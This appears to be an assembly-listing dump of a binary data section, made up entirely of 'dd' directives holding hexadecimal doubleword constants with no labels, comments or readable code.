dd 0BA5611CDh, 1F3B6A31h, 0F35AF1EDh, 0FCBD012Dh, 0CCF69DF1h
dd 55AACFDEh, 0FA3DCF73h, 8EE2F543h, 58593C0Ah, 550FEAACh
dd 0A87159CAh, 2B88DD3Fh, 0ED156835h, 0E460CC85h, 53C48962h
dd 0EE3AF2DDh, 2AA8D7B5h, 2A97317Dh, 8876918Ch, 0A3226D59h
dd 1B843ABh, 0DE50C2C0h, 31225F80h, 21233846h, 875DAEBEh
dd 0F2CEC1B0h, 57B65E3Ah, 84CBB485h, 4CFC597Eh, 0A2CE1F9h
dd 0DC59DE94h, 0E059A8A2h, 0ADDCB2C9h, 0C9209EFEh, 8D0F54CAh
dd 0C9825163h, 0FAEA8820h, 0AC76C1C2h, 6DB07F95h, 7883C2E5h
dd 43BC8D58h, 0E9D33233h, 9E723F58h, 0E7C2A7F8h, 5E254BFAh
dd 0FDCADBECh, 4B019DACh, 0D275D333h, 35D50026h, 6FB8E2A3h
dd 0F10FF282h, 0FB25379Bh, 0DF71825h, 0AC77279Ah, 28D2DFBDh
dd 0CB750EBDh, 0F9D7A29Dh, 0E8666497h, 0BFE26A5Ch, 1327ECE2h
dd 3BE37EAEh, 0D0902B09h, 0FD09848Ah, 0D9023E13h, 7BDEB8F7h
dd 0E09E204Dh, 0D0B292BDh, 0C5BFD8D2h, 0CDF94996h, 0A1725CFFh
dd 0CB834366h, 44CD7F24h, 410CB0E6h, 2ACA14FCh, 0FD35275Dh
dd 13C8E18Dh, 2C77B239h, 4AF7F807h, 56458C6Eh, 3A3AF2BAh
dd 597BF0C8h, 52993EB7h, 4A2597Ch, 0F693F5F9h, 0EC84676Ch
dd 65E2799Eh, 5CA9D8BCh, 0EC55BAC3h, 0DF077F6Dh, 0F839B8EBh
dd 78E0F626h, 0A1B92F82h, 14132272h, 2FC319FCh, 54A657E1h
dd 22F25884h, 971BB02Ah, 5B0B3EF4h, 0EA90EAF9h, 0A13D8627h
dd 2EFF167Dh, 5D210EF9h, 7715B96Ah, 744E2D6h, 0FA8D249Eh
dd 73020832h, 0A4A71AC6h, 0D715BFC1h, 8FA5E2D9h, 23F81288h
dd 454050DEh, 979918E2h, 7D762747h, 0ECB71E02h, 0C5CFCBB4h
dd 6CB1FEE3h, 16CB95BEh, 55DFECB2h, 0BE338A22h, 0DA7EBF83h
dd 5328AC23h, 0EBD5AFF8h, 0F058958Ah, 0C1DE058Bh, 9A1D67E8h
dd 9744485Eh, 98FC50ABh, 6466AAC2h, 1516B9A6h, 0DFCD0B49h
dd 0FC7C9C4Bh, 36F76B38h, 2811F7Dh, 98BB99EDh, 0C86D513Ch
dd 2A4BC3CEh, 5F6D04F9h, 62CE4039h, 7A8B813Bh, 75495E34h
dd 925F23D6h, 724A1C9Fh, 0D7B3C7ADh, 0AE6608E3h, 0A6EFAB18h
dd 69731ECBh, 4F42AF9Ah, 0A254BAE9h, 0E0BEDFE1h, 3FE28180h
dd 0A467938Bh, 0D8EC10B5h, 20456671h, 0B8FB776Bh, 0F646043Eh
dd 0AE6088B3h, 0BC3D2D8h, 0C23431EAh, 0BEF7A4B7h, 0D27A12AAh
dd 0A99C8816h, 0D88E5397h, 341C53D1h, 2D42F751h, 0D44D2776h
dd 7941CCB8h, 0FC43CB4Bh, 6BC789A9h, 7BF97D01h, 23F8324Fh
dd 0DF7361F9h, 0EAD326F4h, 0B8E3E276h, 0A093C89Ah, 6D9EA225h
dd 6FA37E63h, 0D7CF3A98h, 8A523C63h, 91788724h, 0F8F15412h
dd 71E7AED4h, 0F19E0AA0h, 9A28565Eh, 0E993822Fh, 1A05247Ah
dd 0D7EFEA83h, 6B1632B1h, 4BFDDAADh, 9AF136A5h, 60EA0ACCh
dd 1B115F0Bh, 42D6F6B1h, 4A840621h, 2C1B27D2h, 13F469D5h
dd 2E13582Eh, 534AB58h, 7983840Fh, 60C6A354h, 285AFD3Eh
dd 833831A4h, 668614A0h, 68626411h, 86464136h, 18E904ECh
dd 0AE94F982h, 13E68049h, 42D0C9D4h, 0C2183A82h, 0A18C6735h
dd 33B50425h, 0A2438EE4h, 8252D004h, 0A784324Eh, 790CADB2h
dd 0D0C13A09h, 185A8272h, 0A3C42982h, 66FE6C80h, 0B20E2A76h
dd 67626A13h, 56767EE5h, 6EB3B2D7h, 0AA1B3B0Fh, 9DB4D9D9h
dd 0D8DB2D9Dh, 9D95BAD9h, 0D9D85B6Dh, 0EA9D89BEh, 59ECEC0Dh
dd 5AED4EC7h, 61AFF676h, 3B3569A7h, 0D3B25707h, 68E7621Ch
dd 7E2D3B05h, 0B2944E76h, 9D9CBAD3h, 0C4765E93h, 97DA7632h
dd 0B37313B2h, 9D84B1D3h, 78E4C5CEh, 45EC8CAFh, 0B17BDB97h
dd 2F15CCECh, 0DDB8A161h, 6346818h, 6B277D6Bh, 0BFC45216h
dd 5D9FA5CDh, 7AA7E9B3h, 9EECFD16h, 0F2FB3F41h, 0DAFC27E9h
dd 0B27C2E9Ah, 0C79BF4B5h, 0A08EB4DDh, 1036866Ch, 0B410C594h
dd 8614C41h, 312659C6h, 71A095B4h, 28236D0Ch, 4EDA193h
dd 9AA8618Dh, 0A0860CA0h, 0A19D3D11h, 18D2825Ah, 85920882h
dd 528226A1h, 9F5C8218h, 74182189h, 14743234h, 6A18E38Ah
dd 226BA821h, 9DC3D020h, 5998C10Ch, 47384307h, 6C8218C5h
dd 0ED433B42h, 0A0860904h, 4324F53Dh, 32B5041Dh, 9D049D4h
dd 6A08BA86h, 34474861h, 8C8651DAh, 64333504h, 4320E822h
dd 31350429h, 3F682164h, 0D5046943h, 2A7E1412h, 317A02FDh
dd 0C0F77E83h, 0FEC3191Fh, 0E6ADFA4Ch, 0DA08E398h, 8224D0CEh
dd 853431B6h, 650CADA0h, 0A185B411h, 3136826Ch, 6D04794h
dd 0E7CC15E4h, 0EFD066BCh, 45990E3Ah, 66865AD0h, 2186B413h
dd 19AB413Bh, 4AD04B9Ah
dd 3E767BA4h, 83885BA7h, 177BFC29h, 98097FB3h, 4DD31CFAh
dd 0A5A19F90h, 0D0C398D0h, 33968232h, 29C585E4h, 0A73967CEh
dd 65DFA52Bh, 6827E21Ch, 20154329h, 110A1973h, 95A184B4h
dd 68662D04h, 190B4135h, 7CC245C2h, 3412D686h, 3875A197h
dd 81B4331Fh, 6D0CD9A0h, 43166822h, 833B7678h, 0E504ADA1h
dd 0A08DB433h, 13B6863Ch, 3550CD94h, 0C10C5941h, 8214C054h
dd 0C6E24F76h, 89EF59BAh, 0E0C77F85h, 87228D97h, 77E9AB83h
dd 0B28A38F7h, 0AA7E932Fh, 5ADA70C7h, 0D0C19B4Ah, 19D2827Eh
dd 8D28226Ah, 5A7B0821h, 69A48218h, 9410430Ah, 0A1043134h
dd 991CA34Dh, 23957810h, 9AEA093h, 0EA09323Ch, 0D4104864h
dd 413B50C1h, 4628631h, 0B50433B5h, 3C2182B7h, 10C93FD3h
dd 0CADAE4Eh, 0C13FC561h, 16A09190h, 1D044C86h, 0A0852865h
dd 8D28666h, 3A50C83Ah, 650C4D41h, 0A19FB410h, 196A824Ch
dd 1ED0471Ah, 54112686h, 8214D0CDh, 459433B6h, 0B28636D0h
dd 50CADA09h, 185B411Eh, 136827CAh, 0DA083343h, 822CD0C0h
dd 9B3431D6h, 0D90CB5A0h, 0D0C35A09h, 3356825Ch, 95A09F34h
dd 6C42D0Ch, 6BA3013Ch, 951E45F1h, 21C15BF4h, 33F2094Bh
dd 72806D04h, 2A09782Eh, 8272DC65h, 8A543396h, 550CE957h
dd 0A18CB410h, 194B4110h, 2F6095Ah, 5A086B43h, 825AD0C2h
dd 8EB43316h, 7D2885A0h, 7D2E06EFh, 0E7CEFD13h, 99EE5810h
dd 6C56D0CBh, 6DC35CEEh, 0FD3B671Ch, 6A90E6CEh, 4316682h
dd 183313CBh, 9F2825AAh, 0C89F2821h, 0A089A863h, 960866Ch
dd 0B1790B23h, 3646DA85h, 0FD853916h, 413FEC2Dh, 7FE093BFh
dd 0E0FD95AAh, 3F838EA5h, 4EDFD822h, 0C47299BFh, 20863410h
dd 3C7AC1A5h, 86E34B58h, 0DC7219FCh, 0C72E9410h, 7269410Dh
dd 962360DCh, 311B06E3h, 5BC4D8B7h, 63B60A74h, 0FEC2C12Eh
dd 5CCA6C34h, 67F67483h, 94E66B60h, 35DB6FD0h, 0B60FC79Eh
dd 61C68666h, 1268666Bh, 0A68666B6h, 8F1E6B60h, 638ACAFEh
dd 188365D2h, 0FDE11A5Ch, 8A81F65h, 0EFBB65B0h, 6652AE95h
dd 0A60D029Ah, 0FA8768DBh, 7F977A28h, 9015D5ECh, 5D0F88FBh
dd 434A0887h, 2A104E1Bh, 8DB129D6h, 1E314CC6h, 6751A41Ch
dd 0F6F8BAF4h, 72C7617Fh, 0D867218Ah, 6FDB7202h, 52973E28h
dd 5922927Dh, 614D2B8Fh, 7822F26h, 0BF217124h, 0D68B883Bh
dd 0D1711AF1h, 2E235E32h, 88D78E8Eh, 35E3838Bh, 0BC69A2E2h
dd 0F5C85C46h, 0FEC5C405h, 51711AF1h, 2E235E3Bh, 88D78CF6h
dd 4CF1EA8Bh, 0A7676C5Ch, 0A13B1B62h, 0DCACECADh, 4DEACEC2h
dd 0C0D9ACECh, 0EC75DACEh, 0CECB5BACh, 6CEC3586h, 96CECD5Ah
dd 0D6CEC95h, 82ADB3B1h, 767EED9Dh, 0D9D94BAAh, 5A9D9CB3h
dd 97FB3B2Fh, 94B4D3B1h, 766E839Dh, 73B0979Ah, 2D3B3174h
dd 3139D90Bh, 0B9D69D9Fh, 0B3B49CECh, 0D3B36623h, 2DB36BCEh
dd 1D7D8B36h, 593DF033h, 7477839Bh, 67F435E4h, 49788F9Fh
dd 0CCFC47CFh, 0D372352Ah, 3B774187h, 80E8AC5h, 518D2BA1h
dd 1166AA1h, 8DD6EF29h, 872A0A92h, 773AB075h, 92F57E1h
dd 3EF2A41h, 642CE981h, 36E2B07Dh, 5606C68h, 7BBB4E04h
dd 0E288D10Dh, 0C819897Ah, 1597A818h, 306625A3h, 4E235663h
dd 0C25CC4AAh, 0CE600A98h, 374409F3h, 605E318Ch, 0D93470DAh
dd 23908B3Fh, 0F206E918h, 98532328h, 0E4F43E93h, 0B6BA1829h
dd 5847B45Dh, 5D812E57h, 0F1BAB076h, 339F89D3h, 3F1AF9F8h
dd 7980BB31h, 0C67BBB40h, 50465EE4h, 1D5D89C6h, 0ACDD88B4h
dd 0D7BC5A53h, 864CA7BAh, 69F76EE6h, 0DC4E353Dh, 6BC79A77h
dd 0A877B8F0h, 0EE03933Bh, 50A38C21h, 0FE0192CCh, 4E90B41Ah
dd 39BC707Bh, 0E79A6F14h, 880FE716h, 25C539C4h, 819DCA94h
dd 0F23245B2h, 0E71D0A71h, 0DE57CE93h, 2C81A007h, 0BB1EE585h
dd 0F07D304Dh, 0AF5E3C7Ch, 0FDD7101Dh, 0DE1C3C8Eh, 14237CB6h
dd 7DEB648Bh, 5D9F6730h, 7EF79E8Eh, 0F1AA2E43h, 0CBD4B905h
dd 0A5C84FDEh, 553F35BEh, 85DFEF5Bh, 9BB0653Eh, 41638CA3h
dd 4D3E33A1h, 0A5C71E37h, 82B03135h, 2806B483h, 20C756D3h
dd 88CD3A29h, 877F1BF9h, 6508CB86h, 0C5C24AE4h, 3E740EDFh
dd 4F8ECBE6h, 0DE216933h, 9566F189h, 37176BC7h, 0DC250D7Dh
dd 6BF2BE12h, 76E12ABDh, 0ABADA349h, 68CC3275h, 7026DFC7h
dd 10F9EC8Fh, 9A20B765h, 7C8A1F1Ah, 0D08EBD09h, 745D69F1h
dd 6D25C37Ch, 0D2D164Dh, 0E209BE85h, 78B453B3h, 13345A30h
dd 0E3BA1CA8h, 49A67F0Eh, 0D450A52Bh, 7D92929Dh, 29EF62C9h
dd 0C50DC01Eh, 6D5C5392h, 720E9C79h, 0BE46914Bh, 5A742FFCh
dd 10F47B8Fh, 41E6798Ch, 3AE8A6A8h, 170D8786h, 86582A45h
dd 42D813ECh, 0F5DBBA30h, 2DC7AC3Fh, 75E208A7h, 835401BEh
dd 920D206Fh, 2931C046h, 0A9138923h, 962501B8h, 0D95CB8A5h
dd 0F24659A3h, 2321FFCCh, 0C7CE89C9h, 74CEE3B8h, 0DE7E48CBh
dd 0C5DA708Dh, 443C62BFh, 7021A342h, 0A1BD91E3h, 4381CA5h
dd 0B95C8076h, 7B5E5DA7h, 53DA9468h, 0CB81299Bh, 43142B10h
dd 8CD4F62Eh, 0E290B79Ch, 0ECBA0429h, 7DD509E2h, 56F5164Ch
dd 0C43C36AFh, 7A3C5A05h, 35E2787h, 2E27BDCEh, 6A85F1F9h
dd 584B0714h, 5A23B6B6h, 2FEC7A26h, 3BE6BE7Ch, 0F96B9482h
dd 745B4792h, 0D446BF7Ch, 571D331Ah, 12239895h, 47519589h
dd 7FA32ABFh, 0FC24AD22h, 0FC5E6511h, 26D1AB8Ah, 15022F51h
dd 12E3A895h, 5AA057F5h, 0C470E508h, 7FF5E87Dh, 596D9E1h
dd 0A7919456h, 0EC0D339Dh, 0E2D90ACFh, 75652FB4h, 0B7A25824h
dd 0E886B56Bh, 0D293D0E2h, 97240A44h, 0E47B93A2h, 745FFF49h
dd 0DC7B770h, 0E7E23E3Bh, 3DD3F0F7h, 6D02F68Bh, 0EFDA68Ah
dd 7B94BC9Ch, 0A4688AE5h, 3233289Ah, 9AE970D3h, 0E9876AC4h
dd 0B58C3FF4h, 8D2B860Bh, 4EDC4914h, 0D2B85E1Bh, 59E42F74h
dd 26D145C0h, 31A7AEF1h, 9DB60189h, 638F175Eh, 0D04C2EACh
dd 97ED44EBh, 9E9C5858h, 79C7ACC7h, 80BE6DBCh, 82CF2D97h
dd 0CB51A6C6h, 8CB28F7Ch, 0DCC5D150h, 0D084DEF3h, 452FB8E8h
dd 0B6674C81h, 0BD961551h, 0F49A7AEh, 73772D8Bh, 1364D213h
dd 6A18DB14h, 0D7BD6E45h, 5E513010h, 0B156DB17h, 912FB4CAh
dd 0C37B01D4h, 0F553C49Bh, 8D33D7D4h, 936D88F6h, 0E836BC5Dh
dd 0FB9CF2FBh, 1D79E7BFh, 0BAC6936Bh, 52C62852h, 42F65C53h
dd 35AFC64h, 0D96078ADh, 70B4E847h, 644E4691h, 0FFB15C2Fh
dd 69BFEA0Bh, 779AD99Ah, 0B8F5ED12h, 0DFC534E4h, 1E99B5C9h
dd 6E09165Eh, 89B73BE4h, 0D847948Dh, 0A7D0B46h, 345F9EADh
dd 0D1AAAAB0h, 434AD806h, 1831EE2Eh, 4319D46Ch, 32D2A84Fh
dd 3DD169BEh, 11C3831Eh, 0BEC2B5B1h, 81BE993h, 918778DDh
dd 0C8C0BA17h, 824CA127h, 0E8F1BFA2h, 0D2D743E3h, 2B0D13F2h
dd 0A7B931BEh, 872719A5h, 30915156h, 0DC993780h, 595270FAh
dd 0A7C23DB6h, 1CBA771Dh, 0A590ADDEh, 378FE4D7h, 0E78165F1h
dd 417D7121h, 0EC0A2EEFh, 0E5A68BCFh, 66BC5914h, 9C414DE6h
dd 4C0BFD36h, 90519CBAh, 1DC8BC42h, 0EB1EAFBFh, 0D47D0645h
dd 0A1661A44h, 45DB2AE4h, 0D2F813B9h, 99284565h, 0A4D2FC5Dh
dd 58DBC556h, 556FFB96h, 7EECF365h, 0C2736955h, 1D287114h
dd 5DCE88EFh, 0D827E6Eh, 5F08ED5Eh, 89675A79h, 0FA3E4667h
dd 0BFF9675Ah, 0E05775F3h, 50DDC71Dh, 303DD7B0h, 1EF4D1BCh
dd 41D123CFh, 0C5479E3Dh
dd 312AFD15h, 5C8EDA5h, 3110DA4Dh, 0BA8D6D7Ch, 0B2FD79DEh
dd 0FF1F676Dh, 0F63FB6F2h, 0EDAAFFF1h, 0BFFC7DB7h, 0FB17C36Eh
dd 0B4A3FA37h, 2B7F99EDh, 0CB771BA2h, 253D65D1h, 0F5C74594h
dd 2F445678h, 0D63CF1EFh, 0D880DD7Bh, 0D5DEB08Dh, 9CD1B5AFh
dd 4AC4A37Fh, 0B3BCED24h, 9562D7DFh, 0B7D02F36h, 0B3A5382Ah
dd 0AFFF4A3Ch, 0FD257FD1h, 0FFFE9DFFh, 0A1BFFF49h, 0FFE84FFFh
dd 96BFFA1Bh, 0FD225E3Eh, 97FE93Bh, 0FF483FFDh, 0C37FE82Bh
dd 42DE30D7h, 8304FA7Fh, 99D46CD9h, 4D929313h, 7037F003h
dd 0D494A0E0h, 58A073C1h, 0EE999BCDh, 32C3A654h, 0D53B6EC9h
dd 28EC93D2h, 99919C6Ch, 0A9356761h, 0C4F0772h, 87472434h
dd 60819EEEh, 4350A393h, 7496885Bh, 0B40333B8h, 8E7FE5A6h
dd 93585D71h, 0A44838F9h, 0F693E4A9h, 15D73C5Ch, 9656DFC6h
dd 4D38E66h, 4892E4Fh, 58D86C8Dh, 0FF2452A4h, 73CA9435h
dd 4BC8E213h, 0B7224BE8h, 5A9FA9EBh, 61464F20h, 169919E1h
dd 0F4DFC571h, 0DF546938h, 0CE54C464h, 253F252h, 779A377Fh
dd 28B4CECEh, 1DE639BAh, 49F80CB3h, 0BCDE8FC0h, 0EEC73743h
dd 0CE7AA2CEh, 8CBB68D3h, 0AE724D1Eh, 1376F2FAh, 0AF3A4D8h
dd 2E4A119Dh, 69B2F052h, 309A6676h, 0A1A452B0h, 0DBE593D8h
dd 11CCD2D8h, 99B9E125h, 3D7558E9h, 32EB28B7h, 56D818C7h
dd 0E64F6465h, 721B3D08h, 0BE509683h, 0D40C5761h, 0E5EEC915h
dd 33851237h, 0C36AD716h, 0D3323322h, 0C46F4BDDh, 8DAE3E3Eh
dd 8F9BF56h, 6DFAE0F2h, 0E09F3B98h, 0A457BA08h, 82126822h
dd 1A7409EEh, 9C1954D4h, 41416BEAh, 5650446h, 506A8D3Ah
dd 3A080DC7h, 413A086h, 3A078746h, 1C997D13h, 0F6839074h
dd 813B6820h, 4CCC8A91h, 67F867B6h, 0F538FBC1h, 0E40A45BFh
dd 0DE57B9h, 7FE9CD5h, 0F179BA74h, 250BE477h, 0E63A0798h
dd 38F3B972h, 17B49E68h, 7F4A4404h, 0FD69D1C4h, 22FBFB10h
dd 51172ED0h, 34B07DEDh, 0FAE3DC54h, 84C8ABC5h, 4D453CC0h
dd 0CD151FE9h, 0B2BBBBB1h, 3470E7FAh, 0ABD15FABh, 0CB207EB3h
dd 0EDA4EFFCh, 28C6F6B2h, 247D1706h, 24426F97h, 2712BC60h
dd 0FF6B6681h, 108C043Ah, 0A3AF724Ah, 0E0C83680h, 435CF3E3h
dd 5D809BD8h, 6FD13DFCh, 5364046h, 0EF8A7F44h, 9AEEED95h
dd 176B7DAh, 5CAE4CE3h, 26EFD4D3h, 28C593BEh, 13A2029h
dd 0FFEA745Fh, 1CDDD056h, 4C993DF0h, 0EBFEE7C0h, 0E0417CA7h
dd 0DC22AE1Dh, 8CC7FAE3h, 0C4CA0ABFh, 77FD7ADDh, 0DC5320F0h
dd 31E0FB6Bh, 9737688Ch, 69F11BA2h, 1F2CA09Dh, 0F43487E2h
dd 0FF5F1689h, 8B5C4ADDh, 0CDF52732h, 8A9C6023h, 2A7DA5AAh
dd 5CB5518Fh, 1AFCA9B9h, 7377CA76h, 0C57101B8h, 0CD3D27h
dd 7BF5BDC2h, 3108FE62h, 4C57A6Bh, 7FACBDC2h, 29E2F74Ch
dd 0ECCE06FDh, 3EAC88FEh, 192B9A08h, 0F0307C2Eh, 0E5601E33h
dd 0F1A4B4E6h, 0E8CEE722h, 0BB9A7B97h, 997EBAE3h, 88FE96Dh
dd 0FB7847F5h, 47F7E623h, 3BEEB8CCh, 0A2E0D5E3h, 968BA615h
dd 0C10E8B5h, 76F764B0h, 65EE89C0h, 0CB4DF6D7h, 9CB62C46h
dd 9EE5F104h, 428C27DFh, 0B3D794C6h, 1BF1620Ah, 4CFE408Ah
dd 68480887h, 1A5188Ah, 4D324F43h, 7CB2E58Fh, 0F54B163Fh
dd 0F3D0CF72h, 1ED54916h, 0D75173D0h, 0C58EFAE7h, 7E1774AAh
dd 0A88EFAF8h, 93EF956h, 0D6F709DCh, 0FC61B11Bh, 97DD755h
dd 0A9BCACF7h, 0F7B5EBE3h, 6BEFE63Fh, 20F50CAEh, 4A00E6E5h
dd 9B1CD1EFh, 0C8843BC5h, 0CE3AF723h, 0E13323C4h, 22734D77h
dd 77603B7Ch, 7BA0E6AFh, 79BDFCB4h, 4AF7689Ah, 3BA1B80Eh
dd 0EB9EAAE0h, 71584E41h, 94B62823h, 0D6C70D6Eh, 73C9A8DAh
dd 602B3E71h, 31D311C4h, 0B62ACB0Fh, 0C5A1A84Fh, 3E3D6AE2h
dd 9B4793D3h, 0E65434A3h, 8C4F3D9Dh, 23DBFAA2h, 0A8F3F533h
dd 0D6BF47D6h, 375D93ECh, 52244Fh, 0AABA9E94h, 78C6F292h
dd 0FB37794Dh, 0F18DE446h, 0F7373D99h, 35101F24h, 5910DA12h
dd 0F71E0FA4h, 0CFFA66Eh, 28646D3Ah, 0AE6C4F6Fh, 9FF0494Ah
dd 8626F3CBh, 0D3D1F94Ch, 9EBA31FEh, 0BDCF8E0Dh, 0FBC20998h
dd 0DC259F11h, 5F046E27h, 8F974BA8h, 0F09C40ABh, 0EB73C7ADh
dd 0F752D5A5h, 26991BFEh, 0B81F59C1h, 9456B03Fh, 167439AEh
dd 0CF8F1BDEh, 88ED5CF1h, 2021E337h, 5EC0AC28h, 15BE0CE0h
dd 562A743Fh, 0D0D5D35Eh, 3FC5E569h, 0B4024A4Bh, 47DD53F4h
dd 0CFA63A42h, 0FD94E9A5h, 63A2272Ch, 279277A0h, 0EE2D3D51h
dd 0DF7D51B9h, 0F9231D0Ah, 0F4DA64AAh, 0AF65E75Eh, 8874F73Dh
dd 0E5EFA53h, 3A538FB4h, 0F45790C4h, 0E57DD10h, 0D0ED9689h
dd 0E7126B4Ah, 7DE5E977h, 0E7A82469h, 87C2F381h, 0BE5E1D7Ah
dd 0B5BDE3EAh, 0A632ABA2h, 57DE1EB2h, 548CD794h, 0DED3DCE7h
dd 9B9BB5Bh, 0F052C638h, 1F9AB505h, 798CCC6Bh, 1A75EA1Fh
dd 0E2830397h, 0F592FC98h, 0DDD162B2h, 0C5734B32h, 93185802h
dd 6D49B86Dh, 1F387A83h, 67B0B331h, 57708EE4h, 481BE8F3h
dd 0B90746D9h, 21C793B7h, 16B2B6CEh, 0B5E26E08h, 0BED5EB2Fh
dd 53D0A283h, 0A666CAAFh, 0A26F3351h, 0F80DF52Fh, 81B6FAFDh
dd 6E485671h, 0CEF01E0Ch, 0BCE8E7F7h, 0D3D2A8Eh, 1BC94A6h
dd 0BD52A034h, 3E81BCC6h, 68D1ADC3h, 0BC9C1E95h, 18642977h
dd 21425C85h, 7A06F383h, 4F88D207h, 7F4DBAAAh, 9853F45Bh
dd 4F4E54A7h, 0C738553Ch, 32B64629h, 799FC6D3h, 89814EB3h
dd 34E4282Bh, 488310D1h, 27EE03E2h, 2F98E82Fh, 81D64925h
dd 0F7E80EACh, 5E152C59h, 29FD9CFFh, 4FE30583h, 9ACCA5B1h
dd 79345DE5h, 0DF717D30h, 67AD0ACFh, 71696502h, 0F26652A7h
dd 82FDD35Eh, 915D0898h, 6A9F2F94h, 17036FBAh, 83B43E31h
dd 7176EC0Eh, 0E75E9D57h, 676F2449h, 76800B07h, 6026C075h
dd 0CE8EA87Ch, 0F415786Bh, 0A289040Dh, 0DC1D097h, 617A2A4Fh
dd 0D245B5ADh, 0A791334Eh, 8CF5933Eh, 0C03FE78h, 1C873101h
dd 3CC115F5h, 562F9E27h, 0F00E7C49h, 469CE692h, 0C5621C09h
dd 9CAA3C07h, 699087C2h, 84E55830h, 0DD9A554Ch, 5DA84B41h
dd 4A9D309Eh, 9F7E9C4Ch, 3E21C8FBh, 0AC55C027h, 6D3C4C34h
dd 0F9A099F0h, 4586AAE0h, 9AA48A0Bh, 7525FDDh, 0B35C28C5h
dd 0D329893Fh, 7C194DA1h, 0AC71EB3Fh, 0C748918Eh, 0FFBA7C7Bh
dd 1CFCA8B3h, 0C578286Ch, 0EF70D658h, 5B2FB4BBh, 5A7AEDA2h
dd 528BB3BCh, 41F715CCh, 4696C872h, 5084C187h, 0D0C8F67Ah
dd 0B98B066Bh, 5B142CE2h, 6B024ACh, 6185BA22h, 0F798875Bh
dd 76B6AC3Eh, 0FB1A9B76h, 7ACA93A6h, 1B7E83B6h, 94E0998Dh
dd 0C09AC2AAh, 2019DDD8h, 4EBEE3DDh, 0DEC8843Ch, 2E646DCDh
dd 0E825F34Fh, 0FE714E98h, 0AF17E85Fh, 29496234h, 55B253DCh
dd 5831B3B1h, 65596A26h, 0CA64072Fh, 0BDB97900h, 0D69F07A5h
dd 83DD9F1Bh, 1E5E31D7h, 7D45DE1h, 605F509Dh, 0C642FE0Eh
dd 1DB96290h, 0C44D45AAh, 6AE17217h, 746A2B96h, 0F4850CBAh
dd 6B4F5EA4h, 710F89B6h, 0B733C3C2h, 5E4FCACEh, 828DC0B1h
dd 0DEA752ACh, 8194315Ch, 19A86904h, 2FE5C44Dh, 3E8F77CDh
dd 0FA211112h, 625F6900h, 0B645AB1Ah, 14F919FFh, 53DF4BFFh
dd 8097F699h, 42512D9Ah, 2A015EA2h, 25DAA247h, 5750076Ah
dd 12FBD44Bh, 2EA037F5h, 0FF9D1425h, 48C01E30h, 477E73A3h
dd 6959782Bh, 421F4678h, 0E3F3010Ch, 0B0F467FBh, 9242DAB2h
dd 9F07350Eh, 3058E3C7h
dd 1C713CE6h, 6A4E3B22h, 0DF7BB8DCh, 0BE71B955h, 5B98BDD1h
dd 9F1E7D62h, 0E7BD32Ch, 47C3F7A5h, 0CE7E4D47h, 5E77948Bh
dd 0D17B7360h, 8E96C54Ch, 38496773h, 0ACB97A3Dh, 6B8B5D9Fh
dd 673E5B12h, 0A75489E5h, 77B8A2ECh, 6E2E1A94h, 0B069213Ah
dd 310D54h, 8E34BCBAh, 0DCF28419h, 9502FF2Bh, 902F14D0h
dd 0F92B750Ah, 1699AA52h, 64E1470Ah, 9A7246BCh, 44A23E2Bh
dd 54C1CCB3h, 0F316D91Eh, 785826CEh, 3A8FC287h, 7D1CFBB4h
dd 9404ADB4h, 0FC06BB9Fh, 493E0FDh, 0AA5906EFh, 0E1B2C34Ch
dd 31B4F88h, 236AED22h, 6C1C4E7Fh, 0C49AB1DAh, 0BC073D8Fh
dd 776F50C3h, 40C2D04Fh, 0E174710Bh, 3E6B2E3Fh, 2451638Ch
dd 63150BF1h, 6F4424F4h, 58F19EB5h, 42AC57BAh, 6A631877h
dd 0FBF76E4Eh, 367E7772h, 945F68E4h, 0E591E7ECh, 7841C6E7h
dd 4431E8DBh, 12E70393h, 1E1E297Ch, 42A64B59h, 9FA3C74Ch
dd 610596DFh, 4A3D33A8h, 48C2DC14h, 26452999h, 0C0DA3A65h
dd 8864E14Bh, 0D98FC550h, 343D8CC5h, 7AA3BB85h, 0A937BBC4h
dd 5AB5E58Bh, 0C4FB2B8Ch, 0A9D8B9F8h, 0C5A298C5h, 0B189F5D0h
dd 0C5A53C54h, 0F18B46B8h, 31DEEEFEh, 0AC3C4BFEh, 0C5A718C5h
dd 0C627D3D8h, 351CC42Fh, 83812786h, 0FC13ED9Fh, 0CB553133h
dd 832D3AE0h, 5A0C535Fh, 58DD0AAAh, 0C510DC83h, 0D8E4AFE3h
dd 8A72E88h, 0AC31A1F1h, 2782BDF0h, 86549A8h, 2BA952DFh
dd 83C6757Bh, 477E09F4h, 0CD01DCC3h, 0AC56B1E5h, 0C145179Ch
dd 8303B027h, 8EB49037h, 6AC33F66h, 0EFC553ADh, 12465203h
dd 15C659E3h, 0DC953E87h, 15D618FDh, 4554FA89h, 0DEA60BFDh
dd 5B7797DEh, 2AD066C1h, 0B0737145h, 17E6CF51h, 64117C75h
dd 1D0B72A2h, 62C4D50h, 0E7835810h, 0EBE2850Dh, 29DB1516h
dd 0EFC8134Eh, 62748F6Eh, 224664A2h, 82E15727h, 1049E620h
dd 50586DF5h, 0BD4A5F62h, 2698D51Eh, 0BAC5DF83h, 0A25AFB10h
dd 402DF0F6h, 0B324A30Bh, 85E7EC5Eh, 4A4EA240h, 0C50D2414h
dd 3DF45B3Fh, 0F3DF1397h, 5716CF3Ah, 0BD603ACAh, 0D9C92637h
dd 5B58A7D8h, 4727C13Ah, 6942EC85h, 88F2FD43h, 0DED22802h
dd 0BA5AF9CFh, 0CC44B127h, 0E5CFB5A0h, 433EA499h, 0B98C3494h
dd 81F4F7E2h, 0FA66A342h, 0FDE31E6Fh, 0DD84DF96h, 5763E681h
dd 5D816FCDh, 534F071h, 29A58E3Fh, 38A160F1h, 0EB78C7Ah
dd 0ADA85625h, 3B58293Eh, 517A3D32h, 0F78F87D6h, 0A37B38A0h
dd 0C1DC32B4h, 6F567A8Bh, 0F132DB46h, 29C09F5Eh, 1D51DA1Eh
dd 7F98F9EEh, 0AA47F8Dh, 0F8C7C588h, 6A5D8A54h, 714E811Eh
dd 52D031CFh, 0AE4C5F71h, 0AA8BC59Eh, 3569176Ch, 67370E7Ah
dd 8780C275h, 0A4995874h, 3258976Eh, 0EFBA729Dh, 0C4C37EDBh
dd 5A41BC9Fh, 0C262A346h, 0D6D25031h, 78874EE3h, 0D2F6492Fh
dd 250E235h, 99B145F8h, 404DE285h, 3BB08B81h, 636833F2h
dd 61DB104Bh, 0FEDA171h, 42DF27ACh, 698ACF74h, 6C13CA25h
dd 95E76E55h, 46C4B4ACh, 0E552296Bh, 0D0F4CDAh, 106E512Fh
dd 0BD604BBFh, 879DE63Bh, 0D2E5D626h, 68E4F7EAh, 5E26EBD6h
